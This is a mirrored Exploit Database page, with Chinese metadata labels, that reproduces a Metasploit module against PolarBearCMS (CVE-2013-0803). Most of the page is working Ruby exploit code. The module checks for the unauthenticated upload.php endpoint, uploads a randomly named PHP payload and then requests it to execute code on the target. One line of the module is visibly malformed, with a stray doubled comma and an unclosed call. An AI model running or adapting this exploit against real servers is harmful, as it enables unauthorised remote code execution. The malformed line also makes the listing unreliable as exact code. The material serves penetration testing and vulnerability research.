PolarPearCMS – Arbitrary ‘.PHP’ File Upload (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2013-02-26
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24549/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  require 'msf/core/exploit/php_exe'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::PhpEXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PolarPearCms PHP File Upload Vulnerability',
  			'Description'=> %q{
  					This module exploits a file upload vulnerability found in PlarPear CMS
  				By abusing the upload.php file, a malicious user can upload a file to a temp
  				directory without authentication, which results in arbitrary code execution.
  			},
  			'Author' =>
  				[
  					'Fady Mohamed Osman'# @Fady_Osman
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2013-0803' ]
  				],
  			'Payload'	 =>
  				{
  					'BadChars' => "\x00",
  				},
  			'Platform' => 'php',
  			'Arch'		 => ARCH_PHP,
  			'Targets'=>
  				[
  					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
  					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jan 21 2012'))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
  				OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
  			], self.class)
  	end
  
  	def check
  		uri =target_uri.path
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
  		})
  
  		if not res or res.code != 200
  			return Exploit::CheckCode::Unknown
  		end
  
  		return Exploit::CheckCode::Appears
  	end
  
  	def exploit
  		uri =target_uri.path
  
  		upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")
  
  		peer = "#{rhost}:#{rport}"
  
  		@payload_name = "#{rand_text_alpha(5)}.php"
  		php_payload = get_write_exec_payload(:unlink_self=>true)
  
  		data = Rex::MIME::Message.new
  		data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
  		data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/',, nil, nil, "form-data; name=\"folder\"")
  		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  		print_status("#{peer} - Uploading payload #{@payload_name}")
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
  			'ctype'=> "multipart/form-data; boundary=#{data.bound}",
  			'data' => post_data
  		})
  		if not res or res.code != 200
  			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
  		end
  
  		upload_uri = "#{upload_dir}#{@payload_name}"
  		print_status("#{peer} - Executing payload #{@payload_name}")
  		res = send_request_raw({
  			'uri'=> upload_uri,
  			'method' => 'GET'
  		})
  	end
  end